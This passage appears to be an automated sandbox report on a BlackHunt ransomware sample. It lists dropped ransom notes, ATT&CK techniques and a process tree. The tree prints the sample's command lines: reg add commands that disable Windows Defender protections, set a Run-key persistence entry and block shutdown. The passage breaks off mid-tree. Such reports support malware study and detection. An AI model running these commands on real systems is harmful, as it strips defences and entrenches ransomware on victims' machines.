File created	C:\Program Files\VideoLAN\VLC\locale\my\LC_MESSAGES\#BlackHunt_ReadMe.txt	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-uihandler.jar	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Andorra	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Athens	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\plugin.properties	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.engine_2.3.0.v20140506-1720.jar	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.forms.nl_zh_4.4.0.v20140623020002.jar	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File created	C:\Program Files\VideoLAN\VLC\skins\fonts\#BlackHunt_ReadMe.txt	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\Notes_content-background.png	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Asuncion	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\bookbig.gif	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File created	C:\Program Files\Java\jre7\bin\dtplugin\#BlackHunt_ReadMe.txt	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ga\#BlackHunt_ReadMe.hta	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Multimedia\MPP\#BlackHunt_Private.key	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_frame-highlight.png	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\NavigationRight_SelectionSubpicture.png	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-application.jar	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\lg\LC_MESSAGES\vlc.mo	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\include\jawt.h	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\#BlackHunt_ReadMe.txt	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File created	C:\Program Files\Java\jre7\lib\management\#BlackHunt_Private.key	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-charts.jar	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_100_f6f6f6_1x400.png	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File created	C:\Program Files\#BlackHunt_Private.key	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files\7-Zip\Lang\uz.txt	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\WhiteDot.png	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.net.win32.x86_64.nl_zh_4.4.0.v20140623020002.jar	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files\Java\jre7\lib\fonts\LucidaSansRegular.ttf	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File created	C:\Program Files\VideoLAN\VLC\lua\modules\#BlackHunt_ReadMe.hta	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_sent.gif	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File created	C:\Program Files\Java\jdk1.7.0_80\#BlackHunt_ReadMe.txt	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsMainToNotesBackground_PAL.wmv	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\prodicon.gif	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-windows.jar	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-core.xml	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Beirut	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ro\#BlackHunt_ReadMe.hta	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_ja_JP.jar	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\ext\locale\#BlackHunt_ReadMe.hta	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Sao_Paulo	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Easter	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Samara	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
392	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2024	vssadmin.exe
2040	vssadmin.exe
788	vssadmin.exe
2836	vssadmin.exe
672	vssadmin.exe
2412	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
3852	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1996	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
4056	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
Token: SeRestorePrivilege	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
Token: SeBackupPrivilege	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
Token: SeTakeOwnershipPrivilege	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
Token: SeAuditPrivilege	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
Token: SeSecurityPrivilege	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
Token: SeIncBasePriorityPrivilege	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
Token: SeBackupPrivilege	1612	vssvc.exe
Token: SeRestorePrivilege	1612	vssvc.exe
Token: SeAuditPrivilege	1612	vssvc.exe
Token: SeBackupPrivilege	3688	wbengine.exe
Token: SeRestorePrivilege	3688	wbengine.exe
Token: SeSecurityPrivilege	3688	wbengine.exe
Token: SeSecurityPrivilege	960	wevtutil.exe
Token: SeSecurityPrivilege	4008	wevtutil.exe
Token: SeBackupPrivilege	960	wevtutil.exe
Token: SeBackupPrivilege	4008	wevtutil.exe
Token: SeSecurityPrivilege	4072	wevtutil.exe
Token: SeBackupPrivilege	4072	wevtutil.exe
Token: SeSecurityPrivilege	3828	wevtutil.exe
Token: SeBackupPrivilege	3828	wevtutil.exe
Token: SeSecurityPrivilege	3472	wevtutil.exe
Token: SeBackupPrivilege	3472	wevtutil.exe
Token: SeDebugPrivilege	3852	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1368 wrote to memory of 3004	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	30
PID 1368 wrote to memory of 3004	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	30
PID 1368 wrote to memory of 3004	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	30
PID 1368 wrote to memory of 3004	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	30
PID 1368 wrote to memory of 3008	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	31
PID 1368 wrote to memory of 3008	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	31
PID 1368 wrote to memory of 3008	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	31
PID 1368 wrote to memory of 3008	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	31
PID 1368 wrote to memory of 3044	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	32
PID 1368 wrote to memory of 3044	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	32
PID 1368 wrote to memory of 3044	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	32
PID 1368 wrote to memory of 3044	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	32
PID 3004 wrote to memory of 2380	3004	cmd.exe	34
PID 3004 wrote to memory of 2380	3004	cmd.exe	34
PID 3004 wrote to memory of 2380	3004	cmd.exe	34
PID 1368 wrote to memory of 1428	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	35
PID 1368 wrote to memory of 1428	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	35
PID 1368 wrote to memory of 1428	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	35
PID 1368 wrote to memory of 1428	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	35
PID 1368 wrote to memory of 1208	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	37
PID 1368 wrote to memory of 1208	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	37
PID 1368 wrote to memory of 1208	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	37
PID 1368 wrote to memory of 1208	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	37
PID 3008 wrote to memory of 2992	3008	cmd.exe	36
PID 3008 wrote to memory of 2992	3008	cmd.exe	36
PID 3008 wrote to memory of 2992	3008	cmd.exe	36
PID 1368 wrote to memory of 2640	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	41
PID 1368 wrote to memory of 2640	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	41
PID 1368 wrote to memory of 2640	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	41
PID 1368 wrote to memory of 2640	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	41
PID 1368 wrote to memory of 2636	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	42
PID 1368 wrote to memory of 2636	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	42
PID 1368 wrote to memory of 2636	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	42
PID 1368 wrote to memory of 2636	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	42
PID 1208 wrote to memory of 2872	1208	cmd.exe	44
PID 1208 wrote to memory of 2872	1208	cmd.exe	44
PID 1208 wrote to memory of 2872	1208	cmd.exe	44
PID 1368 wrote to memory of 2588	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	45
PID 1368 wrote to memory of 2588	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	45
PID 1368 wrote to memory of 2588	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	45
PID 1368 wrote to memory of 2588	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	45
PID 1368 wrote to memory of 2576	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	46
PID 1368 wrote to memory of 2576	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	46
PID 1368 wrote to memory of 2576	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	46
PID 1368 wrote to memory of 2576	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	46
PID 1368 wrote to memory of 2672	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	49
PID 1368 wrote to memory of 2672	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	49
PID 1368 wrote to memory of 2672	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	49
PID 1368 wrote to memory of 2672	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	49
PID 1368 wrote to memory of 1184	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	50
PID 1368 wrote to memory of 1184	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	50
PID 1368 wrote to memory of 1184	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	50
PID 1368 wrote to memory of 1184	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	50
PID 3044 wrote to memory of 2856	3044	cmd.exe	51
PID 3044 wrote to memory of 2856	3044	cmd.exe	51
PID 3044 wrote to memory of 2856	3044	cmd.exe	51
PID 1368 wrote to memory of 2472	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	53
PID 1368 wrote to memory of 2472	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	53
PID 1368 wrote to memory of 2472	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	53
PID 1368 wrote to memory of 2472	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	53
PID 1368 wrote to memory of 2044	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	55
PID 1368 wrote to memory of 2044	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	55
PID 1368 wrote to memory of 2044	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	55
PID 1368 wrote to memory of 2044	1368	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe	55

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe
"C:\Users\Admin\AppData\Local\Temp\c1cbb0a0af5b9c2f9a2f13d7f64ea38f15437c51789c769c60db196ad8eec644.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3004
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3008
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3044
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:1428
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1208
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2640
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2636
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2588
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2576
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2672
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:1184
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:2108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2472
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2264
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2044
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2480
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:1980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2492
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:1076
- C:\Windows\System32\cmd.exe
